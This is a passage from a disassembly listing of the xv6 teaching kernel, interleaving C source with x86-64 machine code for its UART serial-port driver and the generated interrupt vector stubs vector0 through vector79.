ffff80000010a046: 80 ff ff
ffff80000010a049: ff d0 callq *%rax
outb(COM1+1, 0);
ffff80000010a04b: be 00 00 00 00 mov $0x0,%esi
ffff80000010a050: bf f9 03 00 00 mov $0x3f9,%edi
ffff80000010a055: 48 b8 d8 9f 10 00 00 movabs $0xffff800000109fd8,%rax
ffff80000010a05c: 80 ff ff
ffff80000010a05f: ff d0 callq *%rax
outb(COM1+3, 0x03); // Lock divisor, 8 data bits.
ffff80000010a061: be 03 00 00 00 mov $0x3,%esi
ffff80000010a066: bf fb 03 00 00 mov $0x3fb,%edi
ffff80000010a06b: 48 b8 d8 9f 10 00 00 movabs $0xffff800000109fd8,%rax
ffff80000010a072: 80 ff ff
ffff80000010a075: ff d0 callq *%rax
outb(COM1+4, 0);
ffff80000010a077: be 00 00 00 00 mov $0x0,%esi
ffff80000010a07c: bf fc 03 00 00 mov $0x3fc,%edi
ffff80000010a081: 48 b8 d8 9f 10 00 00 movabs $0xffff800000109fd8,%rax
ffff80000010a088: 80 ff ff
ffff80000010a08b: ff d0 callq *%rax
outb(COM1+1, 0x01); // Enable receive interrupts.
ffff80000010a08d: be 01 00 00 00 mov $0x1,%esi
ffff80000010a092: bf f9 03 00 00 mov $0x3f9,%edi
ffff80000010a097: 48 b8 d8 9f 10 00 00 movabs $0xffff800000109fd8,%rax
ffff80000010a09e: 80 ff ff
ffff80000010a0a1: ff d0 callq *%rax
// If status is 0xFF, no serial port.
if(inb(COM1+5) == 0xFF)
ffff80000010a0a3: bf fd 03 00 00 mov $0x3fd,%edi
ffff80000010a0a8: 48 b8 b6 9f 10 00 00 movabs $0xffff800000109fb6,%rax
ffff80000010a0af: 80 ff ff
ffff80000010a0b2: ff d0 callq *%rax
ffff80000010a0b4: 3c ff cmp $0xff,%al
ffff80000010a0b6: 74 4a je ffff80000010a102 <uartearlyinit+0x105>
return;
uart = 1;
ffff80000010a0b8: 48 b8 4c ad 1f 00 00 movabs $0xffff8000001fad4c,%rax
ffff80000010a0bf: 80 ff ff
ffff80000010a0c2: c7 00 01 00 00 00 movl $0x1,(%rax)
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
ffff80000010a0c8: 48 b8 e8 cb 10 00 00 movabs $0xffff80000010cbe8,%rax
ffff80000010a0cf: 80 ff ff
ffff80000010a0d2: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff80000010a0d6: eb 1d jmp ffff80000010a0f5 <uartearlyinit+0xf8>
uartputc(*p);
ffff80000010a0d8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010a0dc: 0f b6 00 movzbl (%rax),%eax
ffff80000010a0df: 0f be c0 movsbl %al,%eax
ffff80000010a0e2: 89 c7 mov %eax,%edi
ffff80000010a0e4: 48 b8 5a a1 10 00 00 movabs $0xffff80000010a15a,%rax
ffff80000010a0eb: 80 ff ff
ffff80000010a0ee: ff d0 callq *%rax
for(p="xv6...\n"; *p; p++)
ffff80000010a0f0: 48 83 45 f8 01 addq $0x1,-0x8(%rbp)
ffff80000010a0f5: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010a0f9: 0f b6 00 movzbl (%rax),%eax
ffff80000010a0fc: 84 c0 test %al,%al
ffff80000010a0fe: 75 d8 jne ffff80000010a0d8 <uartearlyinit+0xdb>
ffff80000010a100: eb 01 jmp ffff80000010a103 <uartearlyinit+0x106>
return;
ffff80000010a102: 90 nop
}
ffff80000010a103: c9 leaveq
ffff80000010a104: c3 retq
ffff80000010a105 <uartinit>:
void
uartinit(void)
{
ffff80000010a105: f3 0f 1e fa endbr64
ffff80000010a109: 55 push %rbp
ffff80000010a10a: 48 89 e5 mov %rsp,%rbp
if(!uart)
ffff80000010a10d: 48 b8 4c ad 1f 00 00 movabs $0xffff8000001fad4c,%rax
ffff80000010a114: 80 ff ff
ffff80000010a117: 8b 00 mov (%rax),%eax
ffff80000010a119: 85 c0 test %eax,%eax
ffff80000010a11b: 74 3a je ffff80000010a157 <uartinit+0x52>
return;
// Acknowledge pre-existing interrupt conditions;
// enable interrupts.
inb(COM1+2);
ffff80000010a11d: bf fa 03 00 00 mov $0x3fa,%edi
ffff80000010a122: 48 b8 b6 9f 10 00 00 movabs $0xffff800000109fb6,%rax
ffff80000010a129: 80 ff ff
ffff80000010a12c: ff d0 callq *%rax
inb(COM1+0);
ffff80000010a12e: bf f8 03 00 00 mov $0x3f8,%edi
ffff80000010a133: 48 b8 b6 9f 10 00 00 movabs $0xffff800000109fb6,%rax
ffff80000010a13a: 80 ff ff
ffff80000010a13d: ff d0 callq *%rax
ioapicenable(IRQ_COM1, 0);
ffff80000010a13f: be 00 00 00 00 mov $0x0,%esi
ffff80000010a144: bf 04 00 00 00 mov $0x4,%edi
ffff80000010a149: 48 b8 e5 3f 10 00 00 movabs $0xffff800000103fe5,%rax
ffff80000010a150: 80 ff ff
ffff80000010a153: ff d0 callq *%rax
ffff80000010a155: eb 01 jmp ffff80000010a158 <uartinit+0x53>
return;
ffff80000010a157: 90 nop
}
ffff80000010a158: 5d pop %rbp
ffff80000010a159: c3 retq
ffff80000010a15a <uartputc>:
void
uartputc(int c)
{
ffff80000010a15a: f3 0f 1e fa endbr64
ffff80000010a15e: 55 push %rbp
ffff80000010a15f: 48 89 e5 mov %rsp,%rbp
ffff80000010a162: 48 83 ec 20 sub $0x20,%rsp
ffff80000010a166: 89 7d ec mov %edi,-0x14(%rbp)
int i;
if(!uart)
ffff80000010a169: 48 b8 4c ad 1f 00 00 movabs $0xffff8000001fad4c,%rax
ffff80000010a170: 80 ff ff
ffff80000010a173: 8b 00 mov (%rax),%eax
ffff80000010a175: 85 c0 test %eax,%eax
ffff80000010a177: 74 5a je ffff80000010a1d3 <uartputc+0x79>
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
ffff80000010a179: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff80000010a180: eb 15 jmp ffff80000010a197 <uartputc+0x3d>
microdelay(10);
ffff80000010a182: bf 0a 00 00 00 mov $0xa,%edi
ffff80000010a187: 48 b8 8f 4b 10 00 00 movabs $0xffff800000104b8f,%rax
ffff80000010a18e: 80 ff ff
ffff80000010a191: ff d0 callq *%rax
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
ffff80000010a193: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff80000010a197: 83 7d fc 7f cmpl $0x7f,-0x4(%rbp)
ffff80000010a19b: 7f 1b jg ffff80000010a1b8 <uartputc+0x5e>
ffff80000010a19d: bf fd 03 00 00 mov $0x3fd,%edi
ffff80000010a1a2: 48 b8 b6 9f 10 00 00 movabs $0xffff800000109fb6,%rax
ffff80000010a1a9: 80 ff ff
ffff80000010a1ac: ff d0 callq *%rax
ffff80000010a1ae: 0f b6 c0 movzbl %al,%eax
ffff80000010a1b1: 83 e0 20 and $0x20,%eax
ffff80000010a1b4: 85 c0 test %eax,%eax
ffff80000010a1b6: 74 ca je ffff80000010a182 <uartputc+0x28>
outb(COM1+0, c);
ffff80000010a1b8: 8b 45 ec mov -0x14(%rbp),%eax
ffff80000010a1bb: 0f b6 c0 movzbl %al,%eax
ffff80000010a1be: 89 c6 mov %eax,%esi
ffff80000010a1c0: bf f8 03 00 00 mov $0x3f8,%edi
ffff80000010a1c5: 48 b8 d8 9f 10 00 00 movabs $0xffff800000109fd8,%rax
ffff80000010a1cc: 80 ff ff
ffff80000010a1cf: ff d0 callq *%rax
ffff80000010a1d1: eb 01 jmp ffff80000010a1d4 <uartputc+0x7a>
return;
ffff80000010a1d3: 90 nop
}
ffff80000010a1d4: c9 leaveq
ffff80000010a1d5: c3 retq
ffff80000010a1d6 <uartgetc>:
static int
uartgetc(void)
{
ffff80000010a1d6: f3 0f 1e fa endbr64
ffff80000010a1da: 55 push %rbp
ffff80000010a1db: 48 89 e5 mov %rsp,%rbp
if(!uart)
ffff80000010a1de: 48 b8 4c ad 1f 00 00 movabs $0xffff8000001fad4c,%rax
ffff80000010a1e5: 80 ff ff
ffff80000010a1e8: 8b 00 mov (%rax),%eax
ffff80000010a1ea: 85 c0 test %eax,%eax
ffff80000010a1ec: 75 07 jne ffff80000010a1f5 <uartgetc+0x1f>
return -1;
ffff80000010a1ee: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010a1f3: eb 36 jmp ffff80000010a22b <uartgetc+0x55>
if(!(inb(COM1+5) & 0x01))
ffff80000010a1f5: bf fd 03 00 00 mov $0x3fd,%edi
ffff80000010a1fa: 48 b8 b6 9f 10 00 00 movabs $0xffff800000109fb6,%rax
ffff80000010a201: 80 ff ff
ffff80000010a204: ff d0 callq *%rax
ffff80000010a206: 0f b6 c0 movzbl %al,%eax
ffff80000010a209: 83 e0 01 and $0x1,%eax
ffff80000010a20c: 85 c0 test %eax,%eax
ffff80000010a20e: 75 07 jne ffff80000010a217 <uartgetc+0x41>
return -1;
ffff80000010a210: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010a215: eb 14 jmp ffff80000010a22b <uartgetc+0x55>
return inb(COM1+0);
ffff80000010a217: bf f8 03 00 00 mov $0x3f8,%edi
ffff80000010a21c: 48 b8 b6 9f 10 00 00 movabs $0xffff800000109fb6,%rax
ffff80000010a223: 80 ff ff
ffff80000010a226: ff d0 callq *%rax
ffff80000010a228: 0f b6 c0 movzbl %al,%eax
}
ffff80000010a22b: 5d pop %rbp
ffff80000010a22c: c3 retq
ffff80000010a22d <uartintr>:
void
uartintr(void)
{
ffff80000010a22d: f3 0f 1e fa endbr64
ffff80000010a231: 55 push %rbp
ffff80000010a232: 48 89 e5 mov %rsp,%rbp
consoleintr(uartgetc);
ffff80000010a235: 48 bf d6 a1 10 00 00 movabs $0xffff80000010a1d6,%rdi
ffff80000010a23c: 80 ff ff
ffff80000010a23f: 48 b8 83 0f 10 00 00 movabs $0xffff800000100f83,%rax
ffff80000010a246: 80 ff ff
ffff80000010a249: ff d0 callq *%rax
}
ffff80000010a24b: 90 nop
ffff80000010a24c: 5d pop %rbp
ffff80000010a24d: c3 retq
ffff80000010a24e <vector0>:
# generated by vectors.pl - do not edit
# handlers
.global alltraps
vector0:
push $0
ffff80000010a24e: 6a 00 pushq $0x0
push $0
ffff80000010a250: 6a 00 pushq $0x0
jmp alltraps
ffff80000010a252: e9 d1 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a257 <vector1>:
vector1:
push $0
ffff80000010a257: 6a 00 pushq $0x0
push $1
ffff80000010a259: 6a 01 pushq $0x1
jmp alltraps
ffff80000010a25b: e9 c8 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a260 <vector2>:
vector2:
push $0
ffff80000010a260: 6a 00 pushq $0x0
push $2
ffff80000010a262: 6a 02 pushq $0x2
jmp alltraps
ffff80000010a264: e9 bf f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a269 <vector3>:
vector3:
push $0
ffff80000010a269: 6a 00 pushq $0x0
push $3
ffff80000010a26b: 6a 03 pushq $0x3
jmp alltraps
ffff80000010a26d: e9 b6 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a272 <vector4>:
vector4:
push $0
ffff80000010a272: 6a 00 pushq $0x0
push $4
ffff80000010a274: 6a 04 pushq $0x4
jmp alltraps
ffff80000010a276: e9 ad f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a27b <vector5>:
vector5:
push $0
ffff80000010a27b: 6a 00 pushq $0x0
push $5
ffff80000010a27d: 6a 05 pushq $0x5
jmp alltraps
ffff80000010a27f: e9 a4 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a284 <vector6>:
vector6:
push $0
ffff80000010a284: 6a 00 pushq $0x0
push $6
ffff80000010a286: 6a 06 pushq $0x6
jmp alltraps
ffff80000010a288: e9 9b f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a28d <vector7>:
vector7:
push $0
ffff80000010a28d: 6a 00 pushq $0x0
push $7
ffff80000010a28f: 6a 07 pushq $0x7
jmp alltraps
ffff80000010a291: e9 92 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a296 <vector8>:
vector8:
push $8
ffff80000010a296: 6a 08 pushq $0x8
jmp alltraps
ffff80000010a298: e9 8b f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a29d <vector9>:
vector9:
push $0
ffff80000010a29d: 6a 00 pushq $0x0
push $9
ffff80000010a29f: 6a 09 pushq $0x9
jmp alltraps
ffff80000010a2a1: e9 82 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2a6 <vector10>:
vector10:
push $10
ffff80000010a2a6: 6a 0a pushq $0xa
jmp alltraps
ffff80000010a2a8: e9 7b f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2ad <vector11>:
vector11:
push $11
ffff80000010a2ad: 6a 0b pushq $0xb
jmp alltraps
ffff80000010a2af: e9 74 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2b4 <vector12>:
vector12:
push $12
ffff80000010a2b4: 6a 0c pushq $0xc
jmp alltraps
ffff80000010a2b6: e9 6d f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2bb <vector13>:
vector13:
push $13
ffff80000010a2bb: 6a 0d pushq $0xd
jmp alltraps
ffff80000010a2bd: e9 66 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2c2 <vector14>:
vector14:
push $14
ffff80000010a2c2: 6a 0e pushq $0xe
jmp alltraps
ffff80000010a2c4: e9 5f f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2c9 <vector15>:
vector15:
push $0
ffff80000010a2c9: 6a 00 pushq $0x0
push $15
ffff80000010a2cb: 6a 0f pushq $0xf
jmp alltraps
ffff80000010a2cd: e9 56 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2d2 <vector16>:
vector16:
push $0
ffff80000010a2d2: 6a 00 pushq $0x0
push $16
ffff80000010a2d4: 6a 10 pushq $0x10
jmp alltraps
ffff80000010a2d6: e9 4d f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2db <vector17>:
vector17:
push $17
ffff80000010a2db: 6a 11 pushq $0x11
jmp alltraps
ffff80000010a2dd: e9 46 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2e2 <vector18>:
vector18:
push $0
ffff80000010a2e2: 6a 00 pushq $0x0
push $18
ffff80000010a2e4: 6a 12 pushq $0x12
jmp alltraps
ffff80000010a2e6: e9 3d f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2eb <vector19>:
vector19:
push $0
ffff80000010a2eb: 6a 00 pushq $0x0
push $19
ffff80000010a2ed: 6a 13 pushq $0x13
jmp alltraps
ffff80000010a2ef: e9 34 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2f4 <vector20>:
vector20:
push $0
ffff80000010a2f4: 6a 00 pushq $0x0
push $20
ffff80000010a2f6: 6a 14 pushq $0x14
jmp alltraps
ffff80000010a2f8: e9 2b f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a2fd <vector21>:
vector21:
push $0
ffff80000010a2fd: 6a 00 pushq $0x0
push $21
ffff80000010a2ff: 6a 15 pushq $0x15
jmp alltraps
ffff80000010a301: e9 22 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a306 <vector22>:
vector22:
push $0
ffff80000010a306: 6a 00 pushq $0x0
push $22
ffff80000010a308: 6a 16 pushq $0x16
jmp alltraps
ffff80000010a30a: e9 19 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a30f <vector23>:
vector23:
push $0
ffff80000010a30f: 6a 00 pushq $0x0
push $23
ffff80000010a311: 6a 17 pushq $0x17
jmp alltraps
ffff80000010a313: e9 10 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a318 <vector24>:
vector24:
push $0
ffff80000010a318: 6a 00 pushq $0x0
push $24
ffff80000010a31a: 6a 18 pushq $0x18
jmp alltraps
ffff80000010a31c: e9 07 f6 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a321 <vector25>:
vector25:
push $0
ffff80000010a321: 6a 00 pushq $0x0
push $25
ffff80000010a323: 6a 19 pushq $0x19
jmp alltraps
ffff80000010a325: e9 fe f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a32a <vector26>:
vector26:
push $0
ffff80000010a32a: 6a 00 pushq $0x0
push $26
ffff80000010a32c: 6a 1a pushq $0x1a
jmp alltraps
ffff80000010a32e: e9 f5 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a333 <vector27>:
vector27:
push $0
ffff80000010a333: 6a 00 pushq $0x0
push $27
ffff80000010a335: 6a 1b pushq $0x1b
jmp alltraps
ffff80000010a337: e9 ec f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a33c <vector28>:
vector28:
push $0
ffff80000010a33c: 6a 00 pushq $0x0
push $28
ffff80000010a33e: 6a 1c pushq $0x1c
jmp alltraps
ffff80000010a340: e9 e3 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a345 <vector29>:
vector29:
push $0
ffff80000010a345: 6a 00 pushq $0x0
push $29
ffff80000010a347: 6a 1d pushq $0x1d
jmp alltraps
ffff80000010a349: e9 da f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a34e <vector30>:
vector30:
push $0
ffff80000010a34e: 6a 00 pushq $0x0
push $30
ffff80000010a350: 6a 1e pushq $0x1e
jmp alltraps
ffff80000010a352: e9 d1 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a357 <vector31>:
vector31:
push $0
ffff80000010a357: 6a 00 pushq $0x0
push $31
ffff80000010a359: 6a 1f pushq $0x1f
jmp alltraps
ffff80000010a35b: e9 c8 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a360 <vector32>:
vector32:
push $0
ffff80000010a360: 6a 00 pushq $0x0
push $32
ffff80000010a362: 6a 20 pushq $0x20
jmp alltraps
ffff80000010a364: e9 bf f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a369 <vector33>:
vector33:
push $0
ffff80000010a369: 6a 00 pushq $0x0
push $33
ffff80000010a36b: 6a 21 pushq $0x21
jmp alltraps
ffff80000010a36d: e9 b6 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a372 <vector34>:
vector34:
push $0
ffff80000010a372: 6a 00 pushq $0x0
push $34
ffff80000010a374: 6a 22 pushq $0x22
jmp alltraps
ffff80000010a376: e9 ad f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a37b <vector35>:
vector35:
push $0
ffff80000010a37b: 6a 00 pushq $0x0
push $35
ffff80000010a37d: 6a 23 pushq $0x23
jmp alltraps
ffff80000010a37f: e9 a4 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a384 <vector36>:
vector36:
push $0
ffff80000010a384: 6a 00 pushq $0x0
push $36
ffff80000010a386: 6a 24 pushq $0x24
jmp alltraps
ffff80000010a388: e9 9b f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a38d <vector37>:
vector37:
push $0
ffff80000010a38d: 6a 00 pushq $0x0
push $37
ffff80000010a38f: 6a 25 pushq $0x25
jmp alltraps
ffff80000010a391: e9 92 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a396 <vector38>:
vector38:
push $0
ffff80000010a396: 6a 00 pushq $0x0
push $38
ffff80000010a398: 6a 26 pushq $0x26
jmp alltraps
ffff80000010a39a: e9 89 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a39f <vector39>:
vector39:
push $0
ffff80000010a39f: 6a 00 pushq $0x0
push $39
ffff80000010a3a1: 6a 27 pushq $0x27
jmp alltraps
ffff80000010a3a3: e9 80 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a3a8 <vector40>:
vector40:
push $0
ffff80000010a3a8: 6a 00 pushq $0x0
push $40
ffff80000010a3aa: 6a 28 pushq $0x28
jmp alltraps
ffff80000010a3ac: e9 77 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a3b1 <vector41>:
vector41:
push $0
ffff80000010a3b1: 6a 00 pushq $0x0
push $41
ffff80000010a3b3: 6a 29 pushq $0x29
jmp alltraps
ffff80000010a3b5: e9 6e f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a3ba <vector42>:
vector42:
push $0
ffff80000010a3ba: 6a 00 pushq $0x0
push $42
ffff80000010a3bc: 6a 2a pushq $0x2a
jmp alltraps
ffff80000010a3be: e9 65 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a3c3 <vector43>:
vector43:
push $0
ffff80000010a3c3: 6a 00 pushq $0x0
push $43
ffff80000010a3c5: 6a 2b pushq $0x2b
jmp alltraps
ffff80000010a3c7: e9 5c f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a3cc <vector44>:
vector44:
push $0
ffff80000010a3cc: 6a 00 pushq $0x0
push $44
ffff80000010a3ce: 6a 2c pushq $0x2c
jmp alltraps
ffff80000010a3d0: e9 53 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a3d5 <vector45>:
vector45:
push $0
ffff80000010a3d5: 6a 00 pushq $0x0
push $45
ffff80000010a3d7: 6a 2d pushq $0x2d
jmp alltraps
ffff80000010a3d9: e9 4a f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a3de <vector46>:
vector46:
push $0
ffff80000010a3de: 6a 00 pushq $0x0
push $46
ffff80000010a3e0: 6a 2e pushq $0x2e
jmp alltraps
ffff80000010a3e2: e9 41 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a3e7 <vector47>:
vector47:
push $0
ffff80000010a3e7: 6a 00 pushq $0x0
push $47
ffff80000010a3e9: 6a 2f pushq $0x2f
jmp alltraps
ffff80000010a3eb: e9 38 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a3f0 <vector48>:
vector48:
push $0
ffff80000010a3f0: 6a 00 pushq $0x0
push $48
ffff80000010a3f2: 6a 30 pushq $0x30
jmp alltraps
ffff80000010a3f4: e9 2f f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a3f9 <vector49>:
vector49:
push $0
ffff80000010a3f9: 6a 00 pushq $0x0
push $49
ffff80000010a3fb: 6a 31 pushq $0x31
jmp alltraps
ffff80000010a3fd: e9 26 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a402 <vector50>:
vector50:
push $0
ffff80000010a402: 6a 00 pushq $0x0
push $50
ffff80000010a404: 6a 32 pushq $0x32
jmp alltraps
ffff80000010a406: e9 1d f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a40b <vector51>:
vector51:
push $0
ffff80000010a40b: 6a 00 pushq $0x0
push $51
ffff80000010a40d: 6a 33 pushq $0x33
jmp alltraps
ffff80000010a40f: e9 14 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a414 <vector52>:
vector52:
push $0
ffff80000010a414: 6a 00 pushq $0x0
push $52
ffff80000010a416: 6a 34 pushq $0x34
jmp alltraps
ffff80000010a418: e9 0b f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a41d <vector53>:
vector53:
push $0
ffff80000010a41d: 6a 00 pushq $0x0
push $53
ffff80000010a41f: 6a 35 pushq $0x35
jmp alltraps
ffff80000010a421: e9 02 f5 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a426 <vector54>:
vector54:
push $0
ffff80000010a426: 6a 00 pushq $0x0
push $54
ffff80000010a428: 6a 36 pushq $0x36
jmp alltraps
ffff80000010a42a: e9 f9 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a42f <vector55>:
vector55:
push $0
ffff80000010a42f: 6a 00 pushq $0x0
push $55
ffff80000010a431: 6a 37 pushq $0x37
jmp alltraps
ffff80000010a433: e9 f0 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a438 <vector56>:
vector56:
push $0
ffff80000010a438: 6a 00 pushq $0x0
push $56
ffff80000010a43a: 6a 38 pushq $0x38
jmp alltraps
ffff80000010a43c: e9 e7 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a441 <vector57>:
vector57:
push $0
ffff80000010a441: 6a 00 pushq $0x0
push $57
ffff80000010a443: 6a 39 pushq $0x39
jmp alltraps
ffff80000010a445: e9 de f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a44a <vector58>:
vector58:
push $0
ffff80000010a44a: 6a 00 pushq $0x0
push $58
ffff80000010a44c: 6a 3a pushq $0x3a
jmp alltraps
ffff80000010a44e: e9 d5 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a453 <vector59>:
vector59:
push $0
ffff80000010a453: 6a 00 pushq $0x0
push $59
ffff80000010a455: 6a 3b pushq $0x3b
jmp alltraps
ffff80000010a457: e9 cc f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a45c <vector60>:
vector60:
push $0
ffff80000010a45c: 6a 00 pushq $0x0
push $60
ffff80000010a45e: 6a 3c pushq $0x3c
jmp alltraps
ffff80000010a460: e9 c3 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a465 <vector61>:
vector61:
push $0
ffff80000010a465: 6a 00 pushq $0x0
push $61
ffff80000010a467: 6a 3d pushq $0x3d
jmp alltraps
ffff80000010a469: e9 ba f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a46e <vector62>:
vector62:
push $0
ffff80000010a46e: 6a 00 pushq $0x0
push $62
ffff80000010a470: 6a 3e pushq $0x3e
jmp alltraps
ffff80000010a472: e9 b1 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a477 <vector63>:
vector63:
push $0
ffff80000010a477: 6a 00 pushq $0x0
push $63
ffff80000010a479: 6a 3f pushq $0x3f
jmp alltraps
ffff80000010a47b: e9 a8 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a480 <vector64>:
vector64:
push $0
ffff80000010a480: 6a 00 pushq $0x0
push $64
ffff80000010a482: 6a 40 pushq $0x40
jmp alltraps
ffff80000010a484: e9 9f f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a489 <vector65>:
vector65:
push $0
ffff80000010a489: 6a 00 pushq $0x0
push $65
ffff80000010a48b: 6a 41 pushq $0x41
jmp alltraps
ffff80000010a48d: e9 96 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a492 <vector66>:
vector66:
push $0
ffff80000010a492: 6a 00 pushq $0x0
push $66
ffff80000010a494: 6a 42 pushq $0x42
jmp alltraps
ffff80000010a496: e9 8d f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a49b <vector67>:
vector67:
push $0
ffff80000010a49b: 6a 00 pushq $0x0
push $67
ffff80000010a49d: 6a 43 pushq $0x43
jmp alltraps
ffff80000010a49f: e9 84 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a4a4 <vector68>:
vector68:
push $0
ffff80000010a4a4: 6a 00 pushq $0x0
push $68
ffff80000010a4a6: 6a 44 pushq $0x44
jmp alltraps
ffff80000010a4a8: e9 7b f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a4ad <vector69>:
vector69:
push $0
ffff80000010a4ad: 6a 00 pushq $0x0
push $69
ffff80000010a4af: 6a 45 pushq $0x45
jmp alltraps
ffff80000010a4b1: e9 72 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a4b6 <vector70>:
vector70:
push $0
ffff80000010a4b6: 6a 00 pushq $0x0
push $70
ffff80000010a4b8: 6a 46 pushq $0x46
jmp alltraps
ffff80000010a4ba: e9 69 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a4bf <vector71>:
vector71:
push $0
ffff80000010a4bf: 6a 00 pushq $0x0
push $71
ffff80000010a4c1: 6a 47 pushq $0x47
jmp alltraps
ffff80000010a4c3: e9 60 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a4c8 <vector72>:
vector72:
push $0
ffff80000010a4c8: 6a 00 pushq $0x0
push $72
ffff80000010a4ca: 6a 48 pushq $0x48
jmp alltraps
ffff80000010a4cc: e9 57 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a4d1 <vector73>:
vector73:
push $0
ffff80000010a4d1: 6a 00 pushq $0x0
push $73
ffff80000010a4d3: 6a 49 pushq $0x49
jmp alltraps
ffff80000010a4d5: e9 4e f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a4da <vector74>:
vector74:
push $0
ffff80000010a4da: 6a 00 pushq $0x0
push $74
ffff80000010a4dc: 6a 4a pushq $0x4a
jmp alltraps
ffff80000010a4de: e9 45 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a4e3 <vector75>:
vector75:
push $0
ffff80000010a4e3: 6a 00 pushq $0x0
push $75
ffff80000010a4e5: 6a 4b pushq $0x4b
jmp alltraps
ffff80000010a4e7: e9 3c f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a4ec <vector76>:
vector76:
push $0
ffff80000010a4ec: 6a 00 pushq $0x0
push $76
ffff80000010a4ee: 6a 4c pushq $0x4c
jmp alltraps
ffff80000010a4f0: e9 33 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a4f5 <vector77>:
vector77:
push $0
ffff80000010a4f5: 6a 00 pushq $0x0
push $77
ffff80000010a4f7: 6a 4d pushq $0x4d
jmp alltraps
ffff80000010a4f9: e9 2a f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a4fe <vector78>:
vector78:
push $0
ffff80000010a4fe: 6a 00 pushq $0x0
push $78
ffff80000010a500: 6a 4e pushq $0x4e
jmp alltraps
ffff80000010a502: e9 21 f4 ff ff jmpq ffff800000109928 <alltraps>
ffff80000010a507 <vector79>:
vector79:
push $0
ffff80000010a507: 6a 00 pushq $0x0
push $79
